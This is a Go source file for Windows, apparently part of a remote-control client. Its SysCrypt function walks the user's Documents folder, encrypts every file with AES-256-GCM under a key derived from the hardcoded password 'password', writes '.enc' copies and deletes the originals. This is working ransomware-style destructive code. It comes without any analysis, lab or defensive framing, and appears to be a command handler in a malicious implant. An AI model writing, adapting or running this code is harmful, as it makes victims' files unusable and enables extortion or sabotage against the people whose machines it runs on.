//go:build windows

package client

import (
	"crypto/aes"
	"crypto/cipher"
	"crypto/rand"
	"crypto/sha256"
	"fmt"
	"io"
	"os"
	"path/filepath"
	"strings"

	"golang.org/x/sys/windows"
)

const cryptPassword = "password"

// documentsDir returns the current user's Documents folder path via the
// Windows SHGetKnownFolderPath API (FOLDERID_Documents).
func documentsDir() (string, error) {
	path, err := windows.KnownFolderPath(windows.FOLDERID_Documents, 0)
	if err != nil {
		// Fall back to USERPROFILE\Documents
		if up := os.Getenv("USERPROFILE"); up != "" {
			return filepath.Join(up, "Documents"), nil
		}
		return "", fmt.Errorf("cannot resolve Documents folder: %w", err)
	}
	return path, nil
}

// deriveKey returns a 32-byte AES-256 key from the hardcoded password via SHA-256.
func deriveKey(password string) []byte {
	sum := sha256.Sum256([]byte(password))
	return sum[:]
}

// encryptFile encrypts src in-place with AES-256-GCM, writing src+".enc" and
// deleting the original. The 12-byte nonce is prepended to the ciphertext.
func encryptFile(path string, key []byte) error {
	plaintext, err := os.ReadFile(path)
	if err != nil {
		return err
	}

	block, err := aes.NewCipher(key)
	if err != nil {
		return err
	}
	gcm, err := cipher.NewGCM(block)
	if err != nil {
		return err
	}

	nonce := make([]byte, gcm.NonceSize())
	if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
		return err
	}

	ciphertext := gcm.Seal(nonce, nonce, plaintext, nil)

	dst := path + ".enc"
	if err := os.WriteFile(dst, ciphertext, 0600); err != nil {
		return err
	}

	return os.Remove(path)
}

// SysCrypt walks the user's Documents folder and AES-256-GCM-encrypts every
// file (skipping files already ending in ".enc"). Returns a summary string.
func SysCrypt() string {
	docsDir, err := documentsDir()
	if err != nil {
		return "sys_crypt error: " + err.Error()
	}

	key := deriveKey(cryptPassword)

	var encrypted, skipped, failed int
	var errs []string

	err = filepath.WalkDir(docsDir, func(path string, d os.DirEntry, walkErr error) error {
		if walkErr != nil || d.IsDir() {
			return nil
		}
		if strings.HasSuffix(path, ".enc") {
			skipped++
			return nil
		}
		if err := encryptFile(path, key); err != nil {
			failed++
			if len(errs) < 5 {
				errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err))
			}
			return nil
		}
		encrypted++
		return nil
	})
	if err != nil {
		return fmt.Sprintf("sys_crypt walk error: %v", err)
	}

	summary := fmt.Sprintf("sys_crypt done — encrypted: %d  skipped: %d  failed: %d", encrypted, skipped, failed)
	if len(errs) > 0 {
		summary += "\nErrors: " + strings.Join(errs, "; ")
	}
	return summary
}
